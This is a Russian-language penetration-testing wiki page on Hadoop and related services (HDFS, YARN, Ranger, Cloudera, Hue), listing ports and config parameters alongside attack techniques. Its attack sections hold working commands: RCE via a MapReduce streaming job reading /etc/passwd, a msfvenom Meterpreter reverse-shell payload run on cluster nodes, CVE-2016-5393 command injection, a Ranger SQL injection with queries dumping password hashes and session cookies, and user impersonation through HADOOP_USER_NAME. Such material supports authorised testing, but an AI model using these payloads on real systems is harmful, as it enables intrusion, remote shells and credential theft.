Hadoop
Содержание
- 1 Общее
- 2 HDFS
- 3 YARN
- 3.1 Интерфейсы (сервисы)
- 3.1.1 Application Manager
- 3.1.2 Scheduler
- 3.1.3 ResourceManager Web Application
- 3.1.4 ResourceManager Tracker
- 3.1.5 ResourceManager Admin
- 3.1.6 NodeManager СontainerManager
- 3.1.7 NodeManager Localizer
- 3.1.8 NodeManager Collector Service
- 3.1.9 NodeManager WebUI
- 3.1.10 NodeManager Timeline RPC
- 3.1.11 NodeManager Timeline WebUI
- 3.1.12 SharedCacheManager Admin
- 3.1.13 SharedCacheManager WebUI
- 3.1.14 SharedCacheManager Node Manager
- 3.1.15 SharedCacheManager Client
- 3.1.16 NodeManager AMRMProxyService
- 3.1.17 Router WebUI
- 3.1.18 HttpFS (Hadoop HDFS over HTTP)
- 3.1 Интерфейсы (сервисы)
- 4 Apache HBASE
- 5 ZooKeeper
- 6 Apache Ambari
- 7 Apache Spark
- 8 Apache Kafka/Storm
- 9 Apache HIVE / DRILL
- 10 Mahout
- 11 Apache Solr / Lucene
- 12 Apache Ranger
- 13 OOZIE
- 14 PIG
- 15 Apache Hue
- 16 MapReduce
- 17 Cloudera
- 18 Утилиты
- 19 Ссылки
Общее
Получение конфига
Несколько вариантов получения конфига Hadoop. Он может потребоваться для работы с ним через CLI. Конфиг обычно в формате XML.
Сервисы
WebUI
Для этого требуется перейти на один из следующих веб серверов на страницу /conf:
- HDFS WebUI (много потов)
- JobHistory (19888, 19890) - в приоритете
- ResourceManager (8088, 8090)
. . .
Уязвимости
Иногда конфиг можно скачать используя уязвимости ПО.
Cloudera Manager
Конфиг будет доступен по следующему адресу:
http://<cloudera_mgr_ip>:7180/cmf/services/<service_id_to_iterate>/client-config
service_id_to_iterate - можно получить перебором 0-100(или больше).
Автоматически
HadoopSnooper
Позволяет скачать файлы конфига:
python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020
Аутентификация
По-умолчанию simple (то есть отключена, можно выдавать себя за любого). Можно переключить на kerberos. За это отвечает параметр в конфиге hadoop.security.authentication.
Шифрование
По-умолчанию отключено для передачи (in-transit) и хранения (at-rest).
NameNode
Для общения с NameNode могут быть использованы следующие механизмы аутентификации:
- GSS-API
- Digest-MD5
Web Apps
Как правило, используется SSL/TLS.
DataNodes
Шифрование может быть на 2 уровнях:
1. обмен ключами используя 3DES или RC4
2. Шифрование используя AES 128(default)/192/256.
At-rest
Означает хранилище файлов. Если кратко:
- Данные шифруются DEK-ключем (Data Encryption Key)
- DEK зашифрован ключем EZ (Encryption Zone) -> EDEK (Encrypted Data Encryption Key)
Обратный процесс:
- EDEK запрашивается у NameNode
- Запрашиваем KMS расшифровать EDEK - получаем DEK
- Расшифровываем или зашифровываем данные с DEK.
Важно! Чтобы запросить ключ у KMS, в случае использования Access Control List (ACL) нужны привилегии.
Поиск сервисов
nmap
nmap -sV -Pn --open -v -p ПОРТЫ_ТУТ --scripts "*hadoop*" АДРЕСА
Общие атаки
Node RCE
Для этого требуется получить конфиг и настроить hadoop cli.
path_to_hadoop_streaming.jar - файл, который развертывается на нодах. Обычно он уже есть в установленном hadoop-cli по адресу /share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar
Создаем задачу MapReduce:
hadoop jar <path_to_hadoop_streaming.jar> \
-input /non_empty_file_on_HDFS \
-output /output_directory_on_HDFS \
-mapper "/bin/cat /etc/passwd" \
-reducer NONE
Читаем результат команды:
hadoop fs –ls /output_directory_on_HDFS
hadoop fs –cat /output_directory_on_HDFS/part-00000
Также результат команды можно увидеть в WebUI в консоли созданной задачи.
Из интересного: нельзя выбрать ноду, на которой запускается задача. Поэтому требуется запускать команду много раз, пока она не запустится на нужной.
Бонус: эксплоит можно сгенерировать с msfvenom:
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.38.1 -f elf -o msf.payload
hadoop jar <path_to_hadoop_streaming.jar>
-input /non_empty_file_on_HDFS \
-output /output_directory_on_HDFS \
-mapper "./msf.payload" \
-reducer NONE \
-file msf.payload \
-background
RCE - CVE-2016-5393
Уязвимая версия: Hadoop 2.6.x < 2.6.5 and 2.7.x < 2.7.3
Требования: должен быть авторизован и у кластера должны быть включены параметры "org.apache.hadoop.security.ShellBasedUnixGroupsMapping" и "hadoop.security.group.mapping" (конфиг core-site.xml)
Cуть в том, что функция получения групп для пользователя не экранирует специальные символы и вставляет строку в "bash -c":
hdfs groups '$(ping 127.0.0.1)'
Второй вариант - через WebHDFS. Но для этого требуется "Simple Auth":
.../?user.name=$(ping+127.0.0.1)
HDFS
HDFS (Hadoop FileSystem) - это виртуальная файловая система Hadoop, доступная по сети.
Сервисы
MasterNode WebUI
Это веб-интерфейс, запущенный на портах 50070(http) и 50470(https). Обычно на нем отсутствует аутентификация, поэтому его можно использовать для доступа к файловой системе.
Основная страница доступна по адресу /explorer.html, а при выборе даты перенаправляет на соответствующую DataNode (порт 50075).
MasterNode Metadata Service
Использует протокол IPC на портах 8020 и 9000. Требуется для взаимодействия с метадатой файлов HDFS.
Команды для взаимодействия:
# Получение списка файлов (и их метадаты)
hadoop fs -ls /tmp
DataNode WebUI
Веб-интерфейс для доступа к статусу, логам и тд. Запускается на 50075(http) и 50475(https) портах.
Доступно по пути /browseDirectory.jsp
hdfsbrowser.py
Для взаимодействия с ним можно воспользоваться скриптом https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake :
# В скрипте также можно указать порт, протокол
python hdfsbrowser.py 10.10.10.10
Интересно, что утилита автоматически подставляет нужного пользователя - владельца файла или ноды.
hadoop cli
Для получения списка файлов требуется в переменной окружения "HADOOP_USER_NAME" указать нужного пользователя, например, root или hbase:
export HADOOP_USER_NAME=hbase
hadoop fs -ls /hbase
hadoop fs –cat /output_directory_on_HDFS/part-00000
Для этого может потребоваться конфиг hadoop (в основной главе)
DataNode Data Transfer
Сервис для передачи данных в DataNode. Использует порт 50010
# Отправить файл на HDFS
hadoop fs -put <localfile> <remotedst>
DataNode Metadata Service
Использует протокол IPC на порту 50020. Требуется для взаимодействия с метадатой файлов HDFS.
Secondary Node Checkpoint Service
Запущен на порту 50090 по протоколу http. Как понял используется для сохранения данных метадаты (запасное хранилище).
YARN
Интерфейсы (сервисы)
Application Manager
Порт(tcp): 8032
Протокол: http
Аутентификация: ???
Параметр в конфиге : yarn.resourcemanager.address
Scheduler
Порт(tcp): 8030
Протокол: http
Аутентификация: ???
Параметр в конфиге : yarn.resourcemanager.scheduler.address
ResourceManager Web Application
Порт(tcp): 8088, 8090
Протокол: http(8088), https(8090)
Аутентификация: ???
Параметр в конфиге : yarn.resourcemanager.webapp.address, yarn.resourcemanager.webapp.https.address
ResourceManager Tracker
Порт(tcp): 8031
Протокол: ???
Аутентификация: ???
Параметр в конфиге : yarn.resourcemanager.resource-tracker.address
ResourceManager Admin
Порт(tcp): 8033
Протокол: ???
Аутентификация: ???
Параметр в конфиге : yarn.resourcemanager.admin.address
NodeManager СontainerManager
Порт(tcp): 0
Протокол: ???
Аутентификация: ???
Параметр в конфиге : yarn.nodemanager.address
NodeManager Localizer
Порт(tcp): 8040
Протокол: ??? (IPC)
Аутентификация: ???
Параметр в конфиге: yarn.nodemanager.localizer.address
NodeManager Collector Service
Порт(tcp): 8048
Протокол: ??? (IPC)
Аутентификация: ???
Параметр в конфиге: yarn.nodemanager.collector-service.address
NodeManager WebUI
Порт(tcp): 8042, 8044
Протокол: http(8042), https(8044)
Аутентификация: ???
Параметр в конфиге: yarn.nodemanager.webapp.address, yarn.nodemanager.webapp.https.address
NodeManager Timeline RPC
Порт(tcp): 10200
Протокол: ???
Аутентификация: ???
Параметр в конфиге: yarn.timeline-service.address
NodeManager Timeline WebUI
Порт(tcp): 8188, 8190
Протокол: http(8188), https(8190)
Аутентификация: ???
Параметр в конфиге: yarn.timeline-service.webapp.address, yarn.timeline-service.webapp.https.address
Порт(tcp): 8047
Протокол: ???
Аутентификация: ???
Параметр в конфиге: yarn.sharedcache.admin.address
Порт(tcp): 8788
Протокол: ???(http)
Аутентификация: ???
Параметр в конфиге: yarn.sharedcache.webapp.address
Порт(tcp): 8046
Протокол: ???
Аутентификация: ???
Параметр в конфиге: yarn.sharedcache.uploader.server.address
Порт(tcp): 8045
Протокол: ???
Аутентификация: ???
Параметр в конфиге : yarn.sharedcache.client-server.address
NodeManager AMRMProxyService
Порт(tcp): 8049
Протокол: ???
Аутентификация: ???
Параметр в конфиге : yarn.nodemanager.amrmproxy.address
Router WebUI
Порт(tcp): 8089, 8091
Протокол: http(8089), https(8091)
Аутентификация: ???
Параметр в конфиге : yarn.router.webapp.address, yarn.router.webapp.https.address
HttpFS (Hadoop HDFS over HTTP)
Порт(tcp): 14000, 14001
Протокол: http(14000), 14001(https)
Аутентификация: ???
Apache HBASE
ZooKeeper
Apache Ambari
Нужен для упрощения управления кластерами Hadoop, используя WebUI. Есть возможность интегрироваться с другими приложениями по REST API.
Из интересного:
- Все могут авторизоваться (даже стандартные юзеры)
- Нет защиты (directory listing, no cookie flags, no CSRF)
- CVE-2015-1775 - /logs/ логи
Сервисы
WebUI
Общение по протоколу http (порт 8080) и https (порт 8440).
Registration/Heartbeat
Общение по протоколу https на порту 8441.
Agent
Порт 8670/tcp используется для Ping.
Apache Spark
Apache Kafka/Storm
Apache HIVE / DRILL
Mahout
Apache Solr / Lucene
Apache Ranger
Компонент безопасности Hadoop с открытым исходным кодом.
Из интересного:
- Поддержка Kerberos
- REST API
- Журналы аудита
- Модель разрешений на основе политики доступа (политики, юзеры, группы)
Интересные ИБ-проблемы:
- Slow HTTP DOS
- Все юзеры могут авторизоваться в Ranger (но не все - выполнять действия)
- CVE-2015-0266 - Missing function level access control, можно использовать для повышения привилегий
- CVE-2015-0265 - XSS в UserAgent
TODO: изучить как работает
https://ranger.apache.org/apidocs/index.html - API документация
Сервисы
Admin WebUI
Порт: 6080, 6182
Протокол: http(6180),https(6182)
Параметр конфига: ranger.service.http.port, ranger.service.https.port
Уязвимости
- Скачивание политик без аутентификации. Но нужно знать имя политики. (версия меньше или равна 0.5.2)
/service/plugins/policies/download/<policy_name>
- CVE-2016-2174 - SQL injection.
/service/plugins/policies/eventTime?eventTime=' or '1'='1&policyId=1
# post-exploitation: скачать хеши паролей пользователей (md5 или sha512):
select last_name, first_name, email, login_id, password, user_role from x_portal_user, x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id limit 3
# post-exploitation: скачать сессии(куки) пользователей):
select auth_time, login_id, ext_sess_id from x_auth_sess where auth_status = 1 or (login_id like '%admin%' and auth_status = 1) order by auth_time desc limit 3
UNIX Auth Service
Порт: 5151
Протокол: SSL/TCP
Параметр конфига: ranger.usersync.port
Ranger KMS
Порт: 9292, 9293
Протокол: http(9292), https(9293)
Параметр конфига: ranger.service.http.port, ranger.service.https.port
Solr Audit
Порт: 6083, 6183
Протокол: http(6083), https(6183)
Параметр конфига: ranger-admin (???)
OOZIE
Серверная система планирования рабочих процессов для управления заданиями Hadoop. Рабочие процессы в Oozie определяются как набор потоков управления и узлов действий в ориентированном ациклическом графе.
Сервисы
Web Console
Порт: 11000, 11443
Протокол: HTTP(11000), HTTPS(11443)
= Admin service
Порт: 11001
Протокол: ???
PIG
Apache Hue
Облачный редактор SQL с открытым исходным кодом. Упоминается тут тк часто используется вместе с Hadoop. Использует порт 8888 по протоколу HTTP.
В старых версиях также присутствует DOM XSS, включена отладка, есть заголовок X-Frame-Options: ALLOWALL.
MapReduce
Модель распределённых вычислений от компании Google, используемая в технологиях Big Data для параллельных вычислений над очень большими (до нескольких петабайт) наборами данных в компьютерных кластерах, и фреймворк для вычисления распределенных задач на узлах (node) кластера
Сервисы
Jobhistory
Порт: 10020
Протокол: HTTP
Аутентификация: ???
Параметр конфига: mapreduce.jobhistory.address
JobTracker
Порт: 8021
Протокол: IPC
Аутентификация: ???
Параметр конфига: mapred.job.tracker
Доступно только в MapReduce v1
JobTracker WebUI
Порт: 50030
Протокол: HTTP
Аутентификация: ???
Параметр конфига: mapred.job.tracker.http.address
Доступно только в MapReduce v1
Jobhistory WebUI
Порт: 19888, 19890
Протокол: HTTP(19888), HTTPS(19890)
Аутентификация: ???
Параметр конфига: mapreduce.jobhistory.webapp.address, mapreduce.jobhistory.webapp.https.address
Доступен только в MapReduce v2
Jobhistory Shufflee
Порт: 13562
Протокол: HTTP
Аутентификация: ???
Параметр конфига: mapreduce.shuffle.port
Jobhistory Shufflee WebUI
Порт: 19890
Протокол: HTTPS
Аутентификация: ???
Параметр конфига: mapreduce.jobhistory.webapp.https.address
TaskTracker WebUI
Порт: 50060
Протокол: HTTP
Аутентификация: ???
Параметр конфига: mapred.task.tracker.http.address
Доступно только в MapReduce v1
History Server WebUI
Порт: 51111
Протокол: HTTP
Аутентификация: ???
Параметр конфига: mapreduce.history.server.http.address
Cloudera
Экосистема Hadoop от компании Cloudera
Сервисы
HUE
Работает на порту 8888 по протоколу HTTP.
Уязвимости
- CVE-2016-4947 - вычисление пользователей из непривилегированного аккаунта (версия меньше или равна 3.9.0):
/desktop/api/users/autocomplete
- CVE-2016-4946 - хранимая XSS (версия меньше или равна 3.9.0). Находится во вкладке Hue Users - Edit user в полях First name и Last name.
- Open redirect (версия меньше или равна 3.9.0).
/accounts/login/?next=//[domain_name]
Manager
Работает на порту 7180(http) и 7183(https).
Уязвимости
- Получение списка пользователей (версия меньше или равна 5.5)
/api/v1/users
- Вычисление пользовательских сессий из непривилегированного аккаунта (CVE-2016-4950) (версия меньше или равна 5.5):
/api/v1/users/sessions
- Доступ к логам процесса(process_id можно перебрать) (версия меньше или равна 5.5):
/cmf/process/<process_id>/logs?filename={stderr,stdout}.log
- CVE-2016-4948 - Stored XSS (версия меньше или равна 5.5)
- CVE-2016-4948 - Reflected XSS (версия меньше или равна 5.5):
/cmf/cloudera-director/redirect?classicWizard=[XSS]&clusterid=1
Утилиты
Hadoop Attack Library
https://github.com/wavestone-cdt/hadoop-attack-library
hadoopsnooper.py
Скрипт для получения конфига hadoop
python hadoopsnooper.py 192.168.38.28 --nn hdfs://192.168.38.128:8020